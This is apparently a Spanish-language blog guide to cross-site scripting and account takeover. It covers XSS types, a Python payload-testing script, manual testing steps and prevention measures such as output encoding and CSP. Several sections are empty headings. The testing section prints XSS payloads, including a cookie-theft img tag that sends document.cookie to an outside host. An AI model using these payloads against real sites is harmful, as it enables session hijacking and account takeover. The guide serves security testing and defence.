Guía: XSS y ATO

Concepto, implicaciones y cómo proteger tus sistemas

Qué es XSS

Cross-Site Scripting (XSS) es una clase de vulnerabilidad que permite a un atacante introducir contenido activo (scripts, HTML) en páginas que otros usuarios ven. Si la aplicación refleja o almacena ese contenido sin validarlo ni codificarlo correctamente, el navegador del usuario ejecuta el código malicioso.

Cómo funciona, en términos generales

Qué es ATO (Account Takeover)

Account takeover (ATO) se refiere al control no autorizado de una cuenta de usuario. Esto puede conseguirse mediante robo de credenciales, phishing, abuso de flujos de recuperación, o aprovechando fallos técnicos que permitan cambiar contraseñas o tokens de sesión.

Qué se consigue con un ATO

Cómo, conceptualmente, un XSS puede llevar a un ATO

Esta sección ofrece una explicación conceptual y defensiva. No contiene instrucciones técnicas paso a paso ni técnicas explotables.

Vías conceptuales (sin detalles operativos)

Un XSS permite ejecutar código dentro del contexto de la página legítima en el navegador de una víctima. Esa capacidad, combinada con otras debilidades o prácticas inseguras en la aplicación, puede facilitar que un atacante obtenga control de una cuenta. A continuación se resumen las vías conceptuales.

Qué permitiría, a grandes rasgos, sin entrar en técnicas

Si un atacante lograra alguno de los casos anteriores, podría:

Medidas específicas de defensa vinculadas a cada vía

tipos de xss

XSS reflejado Ocurre cuando los datos proporcionados por el usuario se repiten en la respuesta sin la validación adecuada.

Ejemplo: <script>alert('XSS_DEMO')</script> inyectado a través de un parámetro de URL.

Estos exploits ocurren cuando una aplicación web refleja entradas de usuario no validadas en el navegador del usuario sin una desinfección adecuada. En este ataque, el atacante crea una URL maliciosa que contiene un código de secuencia de comandos que, cuando la víctima hace clic en él, se ejecuta dentro del contexto de la página web vulnerable. El script malicioso no se almacena en el servidor, sino que se refleja directamente en la entrada del usuario. Las vulnerabilidades XSS reflejadas a menudo se aprovechan en ataques de phishing o para manipular la experiencia de navegación del usuario. El impacto puede ser grave, desde el robo de cookies hasta el secuestro de sesiones.

XSS almacenado El script malicioso se almacena permanentemente en el servidor y se ejecuta cuando otros usuarios acceden a él.

Ejemplo: script malicioso almacenado en un comentario/publicación en una publicación de foro o en una página de perfil de red social.

También conocido como XSS persistente, surge cuando un atacante inyecta un código de script malicioso en una aplicación web, que luego se almacena en el lado del servidor. Este script inyectado se recupera y ejecuta posteriormente cada vez que otros usuarios acceden a la página vulnerable. Los ataques XSS almacenados son particularmente peligrosos ya que el script inyectado persiste en el tiempo, lo que puede afectar a varios usuarios y provocar una explotación generalizada. Los atacantes suelen atacar contenido generado por el usuario, como comentarios, publicaciones en foros, nombres de entidades que se muestran en páginas web o campos de perfil, para ejecutar sus cargas maliciosas. Las consecuencias del XSS almacenado pueden incluir robo de datos, apropiación de cuentas y destrucción de sitios web, lo que plantea riesgos importantes tanto para los usuarios como para la organización afectada.

XSS basado en DOM La ejecución del script se basa en la manipulación del DOM en el lado del cliente.

Ejemplo: el código JS recupera y ejecuta datos controlados por el usuario desde el hash de URL.

Ocurre cuando una aplicación web manipula dinámicamente el DOM basándose en entradas de usuarios que no son de confianza de una manera insegura. A diferencia de los ataques XSS tradicionales, que implican procesamiento del lado del servidor, el XSS basado en DOM se manifiesta completamente en el lado del cliente. Los atacantes explotan XSS basado en DOM manipulando scripts del lado del cliente para ejecutar código arbitrario dentro del navegador de la víctima. Este tipo de XSS suele ser más difícil de detectar y mitigar, ya que la vulnerabilidad reside en el código del lado del cliente y puede no ser evidente durante las pruebas del lado del servidor. Los ataques XSS basados en DOM pueden tener diversas consecuencias, incluido el secuestro de sesión, la filtración de datos y acciones no autorizadas en nombre del usuario, lo que destaca la importancia de las medidas de seguridad del lado del cliente y las prácticas vigilantes de desarrollo de aplicaciones web.

Auto-XSS Es un ataque de ingeniería social en el que un atacante engaña a un usuario para que ejecute código malicioso dentro de su navegador. A diferencia de los ataques XSS tradicionales que se dirigen a varios usuarios, Self-XSS explota la confianza del usuario para ejecutar código dentro de su sesión. Por lo general, los atacantes engañan a las víctimas para que peguen código JS aparentemente inocente en la consola de desarrollador de su navegador o en algunos campos de un sitio web con el pretexto de una acción inofensiva, como desbloquear una función u obtener recompensas. Una vez ejecutado, el código inyectado puede potencialmente comprometer la cuenta de la víctima, robar información confidencial o realizar acciones no autorizadas en su nombre. A pesar de estar limitado a la sesión de la víctima, Self-XSS sigue siendo una amenaza, lo que enfatiza la importancia de la educación y concientización del usuario para reconocer y evitar tales tácticas engañosas.

Pruebas Automatización Utilice herramientas de prueba de seguridad como OWASP ZAP, Burp Suite, XSStrike, PwnXSS, XSSer, Acunetix, etc. para escaneos automatizados en busca de XSS. Configure herramientas para rastrear la aplicación, identificar vectores de entrada e inyectar cargas útiles para detectar vulnerabilidades XSS. Analice los resultados del análisis en busca de vulnerabilidades identificadas, reprodúzcalos manualmente, cree PoC, comprenda el impacto potencial y priorice la solución de problemas. Puedes escribir algunos guiones; Prefiero Python, por ejemplo:

import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name") Prueba manual Identificar vectores de entrada susceptibles a la inyección XSS (por ejemplo, campos de entrada, parámetros de URL). Puede utilizar rastreadores y rastreadores para identificar vectores de manera más eficiente. Cree cargas útiles para explotar las vulnerabilidades XSS (por ejemplo, etiquetas de script, controladores de eventos). Analice las respuestas para determinar si las cargas útiles se reflejan o ejecutan. Cree PoC, comprenda el impacto potencial y priorice la solución de problemas.

Pasos:

Ingrese una etiqueta de secuencia de comandos, seguida de un código JS, en los campos de entrada de su aplicación.

Por ejemplo, cargas útiles XSS básicas:

<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages. Envíe la entrada y vea si el script se ejecuta.

Si es así, entonces la aplicación es vulnerable a ataques XSS.

Si el script no se ejecuta, intente modificar la entrada agregando otras etiquetas HTML, como <img> o <iframe> , y vea si se reflejan en la página, por ejemplo (esta casi siempre funciona para mí):

<b>t</b>#`"/*—est

Puede agregar una secuencia de comandos para consultar los parámetros de la URL de su aplicación web o un nombre de usuario, nombres de archivos cargados o cualquier texto que se mostrará en la página de la aplicación y que pueda cambiar.

Tenga en cuenta las validaciones frontales de las entradas. Intente siempre enviar el valor mediante una solicitud directa (usando Postman, Burp o cualquier herramienta similar).

Verifique la consola del navegador en las herramientas de desarrollo porque a veces es posible que no vea ningún cambio visible en la página, pero algunos símbolos, por ejemplo `"/*— pueden alterar el JS/HTML de la página y verá una advertencia en la consola que podría Ser una pista para usted sobre cómo modificar su carga útil para obtener una PoC XSS.

Utilice fuzzing y una lista de cargas útiles: automatice este enfoque cuando sea posible o utilice herramientas especiales para ello.

Personalmente, me gusta usar cargas útiles e información de aquí ; en mi opinión, es un recurso muy útil.

Pruebas de caja negra Identificación de vectores de entrada vulnerables a la inyección XSS. Elaborar e inyectar cargas útiles XSS para evaluar el impacto e identificar puntos vulnerables. Pruebas de caja gris Análisis del código fuente y procedimientos de desinfección para posibles XSS. Aprovechar el conocimiento parcial de la aplicación para pruebas específicas. Explotando XSS Prueba de concepto XSS

Demuestra la confirmación de la vulnerabilidad XSS mediante la inyección de cargas útiles que ejecutan JS arbitrario. Utilizar cargas útiles alternativas como la función print() para los navegadores Chrome posteriores a la versión 92. Explotación XSS avanzada

Para robar cookies, realizar secuestro de sesión o ejecutar código arbitrario. Para hacerse pasar por usuarios, capturar credenciales o desfigurar páginas web. Omitir filtros XSS

Evadir los filtros XSS comunes mediante diversas técnicas, como la inserción de valores de atributos de etiquetas, la ofuscación y la contaminación de parámetros HTTP (HPP). Los escenarios de ejemplo muestran cómo omitir mecanismos de filtro para ejecutar cargas XSS con éxito. Técnicas de Prevención Validación de entrada y codificación de salida Implemente mecanismos de validación de entrada (FE y BE) para garantizar que los datos proporcionados por el usuario cumplan con los formatos esperados y no contengan código malicioso. Desinfecte y valide todas las entradas del usuario en el lado del servidor antes de procesarlas o almacenarlas. Codifique los datos de salida de forma adecuada para evitar que el navegador los interprete como contenido activo. Utilice técnicas de codificación como codificación de entidades HTML, codificación de URL y escape JS según el contexto de los datos de salida. Política de seguridad de contenido (CSP) Implemente encabezados de Política de seguridad de contenido (CSP) para definir y aplicar políticas de seguridad con respecto a la ejecución de scripts, hojas de estilo y otros recursos dentro de la aplicación web. CSP permite a los administradores restringir las fuentes desde las cuales se pueden cargar los scripts, mitigando el riesgo de ataques XSS al impedir la ejecución de scripts no autorizados. Configure directivas CSP para especificar dominios confiables, uso de estilos y secuencias de comandos en línea y secuencias de comandos nonces, lo que reduce de manera efectiva la superficie de ataque para XSS. Codificación de salida específica del contexto Codifique datos según el contexto en el que se representan los datos de salida. Aplique diferentes métodos de codificación para HTML, JS, CSS y otros contextos para garantizar una protección integral contra XSS.

Por ejemplo , utilice codificación de entidad HTML para contenido HTML, escape JavaScript para contextos de secuencias de comandos en línea y escape CSS para atributos de estilo para evitar la inyección de secuencias de comandos y mantener la integridad de los datos en varios contextos de salida.

Listas blancas y negras de entradas Implemente listas blancas y negras de entradas para filtrar y validar las entradas de los usuarios en función de listas permitidas y denegadas predefinidas de caracteres, patrones o tipos de contenido permitidos y prohibidos.

La inclusión en la lista blanca implica definir explícitamente los formatos de entrada esperados y rechazar cualquier entrada que no se ajuste a estas especificaciones. Las listas negras identifican y bloquean entradas o patrones maliciosos conocidos, aunque pueden ser menos efectivas debido al potencial de evasión mediante técnicas de codificación u ofuscación. Encabezados de seguridad y bibliotecas de desinfección Utilice encabezados de seguridad como X-XSS-Protection, X-Content-Type-Options y X-Frame-Options para mejorar la seguridad de las aplicaciones web y prevenir diversos vectores de ataque, incluido XSS. Integre bibliotecas y marcos de desinfección de terceros en la pila de desarrollo para automatizar la validación de entradas, la codificación de salidas y otras tareas críticas para la seguridad. Actualice y mantenga periódicamente estas bibliotecas para abordar las amenazas y vulnerabilidades emergentes de manera efectiva.

← Volver al blog